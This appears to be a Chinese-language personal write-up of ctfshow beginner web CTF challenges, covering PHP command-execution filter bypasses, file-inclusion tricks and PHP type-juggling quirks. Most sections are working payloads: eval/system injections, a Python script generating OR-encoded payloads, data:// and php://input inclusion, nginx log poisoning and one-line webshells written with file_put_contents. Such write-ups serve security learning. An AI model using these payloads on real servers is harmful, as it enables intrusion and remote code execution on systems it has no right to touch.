WEB 入门
信息搜集
web1-17
爆破
web18-23
命令执行
web29(有没懂的知识)
1 | if(isset($_GET['c'])){ |
eval 是 PHP 里的一个内置函数,它的作用是把字符串当作 PHP 代码来执行。?c=system("cat f*");
背景知识
拿到题目,可以看到通过 eval 函数可以执行 php 代码或者系统命令,其中过滤了 flag。
$_GET[c]
的意思是我们输入 c 参数; pregmatch 是正则匹配是否包含 flag,if(!preg_match("/flag/i", $c))
,/i 忽略大小写,如果输入参数中不包含 flag 的大小写,则进入 if 判断内部。 还有/m 等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html
eval($c)
;就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval 内执行的是 php 代码,必须以分号结尾。eval 和其他函数的对比可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480分别以如下方法尝试拿到 flag:
1、直接执行系统命令
?c=system("tac%20fla*");
利用 tac 与 system 结合,拿到 flag因为可以利用 system 来间接执行系统命令,如果 flag 不在当前目录,也可以利用
?c=system("ls");
来查看到底在哪里。2、内敛执行 (反字节符)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 注意结尾的分号,注意写 writeup 时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用 echo 命令和 tac 相结合来实现。注意 flag 采用*绕过,\`反字节符,是键盘左上角与~在一起的那个。
#### 3、利用参数输入+eval
`?c=eval($_GET[1]);&1=phpinfo();`
试一下,没问题,可以看到 phpinfo 的信息。 然后就使用`?c=eval($_GET[1]);&1=system(ls);`看一下当前目录都有什么,也可以`?c=eval($_GET[1]);&1=system("ls%20/");`看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以 php 代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为 system 的参数必须是 string。
#### 4、利用参数输入+include
这里的 eval 也可以换为 include,并且可以不用括号。但是仅仅可以用来读文件了。
`?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php`
(参考 y4tacker 师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)
也可以尝试写入木马 `file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);` 访问 alb34t.php,然后就可以连马。
#### 5、利用 cp 命令将 flag 拷贝到别处
?c=system("cp%20fl*g.php%20a.txt%20");
然后浏览器访问 a.txt,读取即可。
### web30
```php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
?c=eval($_GET[1]);&1=system("tac fla*");
web31
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ |
?c=eval($_GET[1]);&1=system("tac fla*");
web32
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ |
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web33 (未复现)
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ |
与前一关相比,貌似就多过滤了双引号号,所以上一关 payload 依然适用
php 中不需要括号的函数,如:echo 123; print 123; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "etc/passwd";
这里我们利用include构造 payload
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其中?>代替分号,页面会显示 flag.php 内容的 base64 编码,解码即可获取 flag
还有一种方法,日志注入
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log 是 nginx 默认的 access 日志路径,访问该路径时,在 User-Agent 中写入一句话木马,然后用中国蚁剑连接即可
?c=include$_GET[1]?>&1=data://text/plain
web34(未复现)
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ |
上面的 data 和 php 协议不能用了
web35
1 | 题目对常见命令都进行过滤, 但是仔细发现可以利用 include 进行绕过, 具体实现方式为 eval(include flag.php;); ,但是题目屏蔽了分号(;)和点号(.), 其中分号可以使用?>平替,但是点号无法绕过, 遂使用 post 执行 php 代码注入 flag.php, 因此可得 payload: |
web36
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ |
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
1 | if(isset($_GET['c'])){ |
从 eval 变成 include
单独的 ?c=data://text/plain 并没有任何实际执行或展示数据的功能,它只是表达了数据传递的方式,需要后续指定数据内容,比如 ?c=data://text/plain,Hello%20World 就是传递纯文本 “Hello World”。
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
?c=data://text/plain,<?=system("tac fla*")?>
web38,39
web40(未)
1 | if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ |
题解,查看当前工作目录 getcwd(),扫描当前目录及文件”scandir()”输出 为数组,flag.php 在倒数第二个个位置那就数组倒置 array_revers(),变为正数第二,在使用 next()函数指向从第一个指向第二个(及指向 flag.php),最后使用 show_source()查看文件的内容 ?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));
url+?c=print_r(getcwd()); ===> /var/www/html
url+?c=print_r(scandir(getcwd())); ===> Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
url+?c=print_r(array_reverse(scandir(getcwd()))); ==> Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
url+?c=print_r(next(array_reverse(scandir(getcwd())))); ==> flag.php
url+?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); ==> $flag=”ctfshow{eca2e7df-d196-4b71-9632-ad4d32e194d3}”;
法一
c=eval(array_pop(next(get_defined_vars())));//需要 POST 传入参数为 1=system(‘tac fl*’);
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如 GET、POST、FILE 等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
法二
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替 pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和 pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是 current()函数的别名。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
我来解释这个 payload:?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”); //get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括 URL 屁股后面接的 pay),这里源码只定义了一个变量即 c,加上你引入的 pay 就两个变量值了。reset 用于将指向返回变量数组的指针指向第一个变量即 c,next 向前移动一位指针即 pay,eval 执行返回的值就是咱们定义的恶意代码。我这边去掉 system()函数前的分号了,也能出结果。
web41(未)
1 | if(isset($_POST['c'])){ |
未过滤【或 | 】运算符
可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串
首先进行代码审计:
1
2
3
4
5
6
7
8
9
10 <?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>题目首先接收一个POST请求中名为’c’的参数,然后进行过滤,若未被过滤则执行 eval(“echo($c);”);
1 对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、”^”、”+”、”~”、”$”、”[“、”]”、”{“、”}”、”&” 或 “-“,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下”|”没有过滤。所以这道题的目的就是要我们使用 ascii 码为 0-255 中没有被过滤的字符进行或运算,从而得到被绕过的字符。
思路如下:
- 首先对 ascii 从 0-255 所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
- 跟据题目要求,构造 payload 的原型,并将原型替换为或运算的结果
- 使用 POST 请求发送 c,获取 flag
羽师傅先把或运算的结果放进 txt,然后查表构造 payload,用了两个脚本,这里给一个一体化的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39 import re
import urllib
from urllib import parse
import requests
contents = []
for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])
def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload
URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)直接输入题目的 URL 就完事
web42
1 | if(isset($_GET['c'])){ |
>/dev/null 2>&1
:
关键部分,这是一个 Shell 命令输出重定向技巧:>/dev/null
:将标准输出(stdout
)丢弃到空设备(不显示)。2>&1
:将错误输出(stderr
,文件描述符 2)重定向到标准输出(stdout
,文件描述符 1),最终也被丢弃。
效果:命令执行后的所有输出(包括错误信息)都被隐藏,攻击者无法直接看到命令执行结果。
假设你是一个餐厅老板(服务器),有两个 “传话筒”:
- 标准输出(stdout):正常的订单信息(文件列表、命令结果)
- 错误输出(stderr):厨房报错(文件不存在、权限拒绝)
正常情况:
顾客(攻击者)点单(发送命令),你通过传话筒把结果喊回去(显示在网页上)。
但这段代码做了什么?
1 | >/dev/null 2>&1 |
相当于你把两个传话筒都剪断了,接到了一个 “黑洞”(/dev/null
):
>/dev/null
:把正常订单信息直接扔进垃圾桶2>&1
:把厨房报错也重定向到和正常信息一样的 “黑洞”
结果:
顾客点了 “给我看菜单”(ls /etc/passwd
),你确实去厨房查了菜单,但不管查到什么,都不会告诉顾客。顾客只能通过其他方式(比如观察餐厅灯光是否熄灭)猜测命令是否成功执行。
为什么攻击者喜欢这样?
- 隐藏踪迹:管理员查看日志时,只看到命令被执行,但看不到结果,很难发现异常。
- 偷偷做事:攻击者可以执行 “下载病毒”“修改文件” 等操作,服务器表面看起来一切正常。
生活类比
想象你家有个保姆,你允许她用微波炉热饭(执行命令),但她偷偷用微波炉烤手机(恶意操作),还把声音关掉(>/dev/null
),甚至把冒烟的警报器也拔掉(2>&1
),你完全不知道她在干什么。
永远不要让陌生人直接控制保姆!
正确做法是:
- 给保姆一个菜单(白名单),只允许她做菜单上的菜(预定义命令)
- 你亲自监督她做菜(验证用户输入)
- 保留监控录像(记录所有操作)
命令只是将错误输出重定向到了标准输出,并没有重定向标准输出,所以可以将错误输出重定向至/dev/null ?c=cat flag.php &2
1 | /?c=tac flag.php;ls |
gsfdgdfg
web43
1 | if(!preg_match("/\;|cat/i", $c)){ |
1 | ?c=tac flag.php||ls |
web44
1 | if(isset($_GET['c'])){ |
1 | ?c=tac fla*.php||ls |
服务器会重定向到 index.php,所以写入其他文件无法查看,直接修改 index.php 输出 flag。
tee 命令不仅会将输入内容写入文件,还会将其输出到标准输出
所以构造 playload:
c=echo “” | tee index.php
再访问 index.php 就是 flag.php 的内容
无回显方式查看 flag 既然跟前面几个一样,这次只不过加了过滤 flag, 可以通过 cp 命令将 flag.php 的内容 cp 成 txt 格式的,?c = cp fla?.php 3.txt 后面直接访问 3.txt 就可以直接看到 flag
web46
1 | if(! preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $ c)){ |
关键是通配符
几种绕过空格的方式 {cat, flag.txt} cat ${IFS}flag.txt cat$ IFS$9flag.txt cat < flag.txt//这俩 <> 貌似没啥用 cat <> flag.txt
cat%0afla?.php cat%09fla?.php 这俩的区别是后者用于语句中间,前者可以用来做末尾的截断
对于 “<”和”<>” 的代替空格方式,要队 “<”和”<>” url 编码,防止数据传输出现问题
?c = tac < fla%27%27g.php||
?c = tac%09fla?.php||
?c = ca\t < fl\ag.php||
?c = tac%09fla?.php%0Als
?c = tail%09fl’’ag.php||ls
?c = nl%09fl??.php%0a
?c = tac%09
which%09ls
%0a
web47
就是不屏蔽 tac
if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i”, $c)){
system($c.” >/dev/null 2>&1”);
1 |
|
if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`/i”, $c)){
system($c.” >/dev/null 2>&1”);
1 |
|
1 | ?c=tac<fla%27%27g.php||ls |
web50
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ |
1 | ?c=ta\c<fla%27%27g.php||ls |
web51
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
1 | ?c=t\ac<fla%27%27g.php||ls |
web52
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
1 | ?c=ca\t${IFS}/fla?||ls |
web53
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
system()
的特殊之处在于它在 “返回值用于赋值” 的同时,还会 “执行命令并输出结果”,这是由函数设计决定的,与赋值操作本身无关。
echo($c);
$d = system($c);
echo "<br>".$d;
这三行里面有很多废话,实际上就等于 system($c);
所以直接把上面的 payload 删掉||和后面的内容就好了
?c=ca’’t${IFS}fla’’g.php
web54
1 | if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ |
1 | 解法一: 使用使用 mv 命令把 flag 文件重命名,再使用 uniq 查看 a.txt(如果第二步看不到,请右键查看文件源代码) 第一步:c= mv${IFS}fla?.php${IFS}a.txt |
web55
1 | if(isset($_GET['c'])){ |
由于过滤了字母,但没有过滤数字,我们尝试使用/bin 目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
bash 无字母命令执行
使用
1 $'\154\163'会执行
ls
故 payload 是
1
/?c=$’\143\141\164’%20*
1
2 八进制序列解码后分别为 tac 和 flag.php。
web56
1 | // 你们在炫技吗? |
php 上传的文件会临时放在/tmp 目录下
文件包含
web78
1 | if(isset($_GET['file'])){ |
直接让 file=flag.php 是没用的,因为他是一个 php 文件,包含到当前页面会被当成 php 源吗解析,那么他的 flag 是定义的属性,又不会给你打印出来,相当于执行了<?php $flag=xxxx,这里又不会给你打印,所以你需要用 filter 协议,以 base64 的格式去读取,或者用 data 协议去命令执行。
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
关键部分为 include 这里的$file 可由 get 传参控制,由于没有过滤所以这里方法较多。
使用 data 协议可以很直观有条理的获得 flag
?file=data://text/plain,<?php system('ls');?>
可以获取当前目录文件发现有一个 flag.php
?file=data://text/plain,<?php system('tac flag.php');?>
即可读取 flag.php 的中的内容。
web79
1 | if(isset($_GET['file'])){ |
尝试使用短标签无果:
1 | ?file=data://text/plain,<? system('whoami');?> |
结果 wp 跟我说这样就行了:
1 | ?file=data://text/plain,<?= system('whoami');?> |
<?=
以代替 <? echo
1 | ?file=data://text/plain,<?= system('tac flag.***');?> |
法一:input 协议 大小写绕过
1
2
3
4
5
6
7
8
9
10
11 payload:
POST /?file=Php://input HTTP/1.1
<?Php system("ls");?>
POST /?file=Php://input HTTP/1.1
<?Php system("cat flag.php");?>
# 仅需在请求行 大写即可法二: data 协议 + 利用 php 性质绕过
1
2
3
4
5
6
7 payload:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== # <?php phpinfo();
?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> # 可以无 ;
<?php ?>
:php 默认的开始、结束标签<? ?>
:需要开启 short_open_tag ,即 short_open_tag = On。<%%>
:需要开启 asp_tags ,即 asp_tags = On。<?= ?>
:用于输出,等同于- 可以直接使用<%= %>
:用于输出,等同于- ,需要开启 asp_tags ,才可以使用 short_open_tag 控制的是<? ?>
标签。而并非<?= ?>
标签,<?= ?>
标签用于输出变量。当开启 short_open_tag,<? ?>
功能和<?php ?>
一样。 php中代码开始标志类型(,,,<% %>,<%= %>)法三:data 协议 base64 加密
1
2
3
4 payload:
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls');
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');
// 包含日志文件
// bp 拦截请求 修改 UA 为
?file=/var/log/nginx/access.log&1=system(“tac fl0g.php”);
web80
```php
if(isset($_GET[‘file’])){
$file = $_GET[‘file’];
$file = str_replace(“php”, “???”, $file);
$file = str_replace(“data”, “???”, $file);
include($file);
}else{
highlight_file(FILE);
}
1 |
POST /?file=Php://input HTTP/1.1
1 |
|
直接把伪协议禁了,抄一下上面日志注入的方法。
// 在响应头中可以看到服务器为 nginx
// 包含 nginx 访问日志记录
1 | GET /?file=/var/log/nginx/access.log&1=system("tac%20fl0g.php"); |
image-20250702183321642](../../AppData/Roaming/Typora/typora-user-images/image-20250702183321642.png
web82
1 | if(isset($_GET['file'])){ |
web87
```php
if(isset($_GET[‘file’])){
$file = $_GET[‘file’];
$content = $_POST[‘content’];
$file = str_replace(“php”, “???”, $file);
$file = str_replace(“data”, “???”, $file);
$file = str_replace(“:”, “???”, $file);
$file = str_replace(“.”, “???”, $file);
file_put_contents(urldecode($file), ““.$content);
}
1 |
|
这句话的意思是,将 die+$content,放入 url 解码后的$file 中。
思路:
$content 是任意可控的,但是前面是 die,所以要让 die die。
怎么让 die die 呢?因为 die 和$content 是一起读取的,所以我们让$file 用 base64 解码的方式写入,也就是说,先对 die 和$content 进行 base64 解码,再写入。那么我们把我们想要写入的命令先 base64 编码,就会无损。而 base64 解码只会注意 phpdie 这六个字符,所以 die 就没办法发挥作用了。
但是这里还有一个问题,因为 base64 是四个为单位,所以读取的时候会拉上后面两个字符。所以我们需要传入的 content 是“两个字符长度的垃圾数据”+“base64 编码的关键命令”
1 | aaPD9waHAgc3lzdGVtKCdscycpOw== |
还有一个要绕过的过滤,是$file,但是很简单,他是先替换再解码,我们在替换的时候把指定字符藏起来不就好了?
当我们编码一次,浏览器不会帮我编码,于是服务器解码一次就发现了要过滤的字符。
当我们编码两次,那么服务器自己解码一次,获得的是我们编码一次的 URL 编码,没有要替换的字符,在最后的 url 解码部分才成为纯净的你原来想写入的代码。
注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次 url 编码。
另外,需要绕过 die() 函数。
根据文章 谈一谈php://filter的妙用 ,可以有以下思路:
- base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
- 所以对于
<?php die('大佬别秀了');?>
,base64 编解码过滤之后就只有phpdie
6 个字符了,即可进行绕过。- 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
- 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
- 由于 base64 是 4 个一组,而 phpdie 只有六个,所以要加两个字母凑足 base64 的格式。
这题传参时,file 用 get 方法,content 用 post 方法。
web88
1 | if(isset($_GET['file'])){ |
虽然我很想用条件竞争,但是条件竞争的题目在前面来着…
被过滤的字符有:
1 | php ~ ! @ # $ % ^ & * ( ) - _ + = . |
拦住 .
→ 那就别用路径穿越
拦住 php
→ 不用 php://
没拦 data:
→ 尝试 data://
拦住 =
→ 尝试删掉结尾 =
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg |
📌 一、常见绕过技巧的【字符依赖表】
技术 / Payload 用法 | 依赖字符(被过滤就不能用) | 可用情况说明 |
---|---|---|
php://input |
php 、: 、/ |
伪协议输入 |
data://text/plain;base64,... |
data 、: 、/ 、(建议有 = ) |
base64 执行 |
file://path/to/file |
: 、/ 、. |
本地文件包含 |
../../etc/passwd |
. 、/ |
路径穿越 |
phpinfo() |
( 、) 、phpinfo |
打探信息 |
eval($_GET[x]) |
$ 、( 、) |
任意执行 |
system("ls") |
( 、) 、" 、system |
命令执行 |
Base64 payload | = (可以省略) |
= 是可选填充 |
Log 包含 (/var/log/apache2/... ) |
/ 、. |
利用日志注入 |
Session 包含 (/var/lib/php/sess_ ) |
/ 、. |
利用 session 注入 |
包含远程文件 (http://... ) |
: 、/ 、. 、http |
URL 包含(前提是 allow_url_include = On) |
🌲 二、文件包含漏洞的【利用策略树】
这棵树你可以记成一个“先判断,再选择策略”的流程:
txt复制编辑看见 include、require → 判断是否用户可控
├── 是 → 看是否有过滤(preg_match)?
│
├── 没有过滤任何字符
│ └── ✅ 使用 php://input 直接包含 POST 的恶意代码
│
├── 过滤了 php:// 或 php
│ └── ✅ 尝试 data:// 协议(编码后的 payload)
│
├── 过滤了 .
或 /
│ └── ❌ 无法使用路径穿越、log/session包含
│
├── 过滤了 =
│ └── ⚠️ base64 编码 payload 去掉 =
测试是否仍可解码
│
├── 没过滤 :
和 data
│ └── ✅ 试试 data://text/plain;base64,PD9...
│
├── 能访问日志、session 文件
│ └── ✅ 尝试日志注入、session 注入包含
│
└── 什么都不能用?
└── 😢 尝试构造可用字符绕过、混淆符号、目录软链接等
🔁 三、实战用法:快速判断法
拿到一道文件包含题,可以快速这么判断:
text复制编辑1. 看是否 include($xx) 或 require($xx) ✅
2. 看是否 GET 控参?(如 ?file=xxx) ✅
3. 看是否有过滤?(preg_match 或 replace) ✅
4. 把不能用的字符列出来 ❌
5. 和字符依赖表对照 ✅
6. 选最合适策略下 payload 🧠
PHP特性
web89
1 | include("flag.php"); |
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0
⚠️ 小拓展:关于 SQL 注入中的数组绕过
你提到的这段也很经典:
1 | .php?id=1 → 正常执行 |
在 PHP 中:
1 | $_GET['id'] => array(1) // 当参数是 id[]=1 时 |
所以,如果后台开发者粗心地写了:
1 | $id = intval($_GET['id']); |
那么:
- 本来想防注入(比如你加了引号 ‘1),也不会有影响,因为
intval('1') == 1
,intval('1\' or 1=1') == 1
- 更糟的是,你传数组也能绕过去!
web90
1 | include("flag.php"); |
先看题目,要求get一个num,值不等于4476并且intval之后等于4476
👉 intval($num, 0)
是什么意思?
- 这个用法会让 PHP 自动根据前缀判断进制:
前缀 | 例子 | 含义 |
---|---|---|
无 | 123 |
十进制 |
0x |
0x117c |
十六进制 |
0 |
07744 |
八进制(PHP8 不推荐) |
0b |
0b110 |
二进制 |
所以:
intval("0x117c", 0)
= 十六进制0x117c
= 十进制 4476intval("4476a", 0)
= PHP 解析前面合法的部分,得到4476
intval("4476.1", 0)
= 转换成4476
注意:
这些例子都是 字符串不等于 “4476”,但经过 intval()
后结果是 4476
,所以能通过判断,输出 $flag
。
web91
1 | show_source(__FILE__); |
1 | /i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 ($) 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。 |
web93
1 | include("flag.php"); |
4476.1
web94
1 | include("flag.php"); |
先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。
payload:
1 | ?num=4476.0 |
web95
1 | include("flag.php"); |
payload:
1 | ?num= 010574 |
web96
1 | highlight_file(__FILE__); |
看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。
payload:
?u=../html/flag.php
?u=./flag.php //相对路径, ./表示在当前目录下
?u=php://filter/convert.base64-encode/resource=flag.php //伪协议
?u=php://filter/resource=flag.php //伪协议
?u=/var/www/html/flag.php //绝对路径
web97
1 | include("flag.php"); |
payload:
a[]=17&b[]=17 //数组
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
//强碰撞
web98(看不懂源码看不懂解析)
```php
include(“flag.php”);
$_GET?$_GET=&$_POST:’flag’;
$_GET[‘flag’]==’flag’?$_GET=&$_COOKIE:’flag’;
$_GET[‘flag’]==’flag’?$_GET=&$_SERVER:’flag’;
highlight_file($_GET[‘HTTP_FLAG’]==’flag’?$flag:FILE);
1 |
|
$allow = array(); 创建一个空数组array
for ($i=36; $i < 0x36d; $i++) { for循环,i从36到0x36d逐渐+1
array_push($allow, rand(1,$i)); $allow是个数组,arraypush把从1到i的一个随机数入栈
if(isset($_GET[‘n’]) && in_array($_GET[‘n’], $allow)){ 接受在这个数组里的n,让n作为文件名
PHP里的弱类型比较在字符串和数字比较的时候会尝试把字符串转为数字,所以1.php和1是这里是相等的。
由于这个数组的末尾一开始是从36开始增加,所以这个数组本来就有1-36的随机push,所以1-36出现的概率最大,我们这里让n=1.php,content=<?PHP eval($_POST[1]);?>
反复执行几次,再访问1.php并发送1=system(‘ls’);就好。
web100
1 | include("ctfshow.php"); |
这里考察了=和and的优先级,&&>||>=>and>or
所以
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
这一行是意思是,v1是否是数字复制给v0,再检查v2v3是不是数字,所以只需要v1是数字就能让v0=1。
后面有没有分号什么的不说了。
payload如下:
1 | ?v1=1&v2=system("tac ctfshow.php")/*&v3=*/; //利用注释 |
web101
1 | include("ctfshow.php"); |
1 | ?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息 |
这个题太坑了,先要把0x2d换成
ReflectionClass
原生类是PHP自带的类,这些类方便开发人员完成系统底层或常用的功能,比如操作系统、数据库、反射、异常处理等。
ReflectionClass是PHP自带的反射(Reflection)类。反射简单来说就是程序在运行时能查看自己的结构和信息,就像“照镜子”一样。
它可以让你在代码运行时查看一个类的详细信息,包括类名,方法,属性等。
假设你有一个类叫 ctfshow
,你想知道这个类里面有什么属性和方法,你就可以用:
1 | $ref = new ReflectionClass('ctfshow'); |
它会告诉你很多关于 ctfshow
类的结构信息。
web102
1 | $v1 = $_POST['v1']; |
web103
1 | $v1 = $_POST['v1']; |
这两题就差一个短标签绕过,一起理解了。首先v2是数字v4就是1。选取v2从第二个位置开始的字符作为指定函数的参数。最后把运行结果放到v3里。
这个题目的payload属于意料之外情理之中,就是把放入的命令先短标签绕过,再base64编码,再转换成ASCII编码,开头加上两个占位字符,就是我们的v2。
为什么v2可以通过is_numeric呢?因为PHP是一个字符串里面有e就会判定为数字的语言。
1 | $a='<?=`cat *`;'; |
这里有个e,就是能过。
1 | ?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php //GET |
然后url+x.php访问查看源代码什么都有了。
web104
1 | include("flag.php"); |
数组绕过
也可以弱碰撞
1 | aaK1STfY |
web105
1 | include('flag.php'); |
先看两个能输入的地方
die($error);
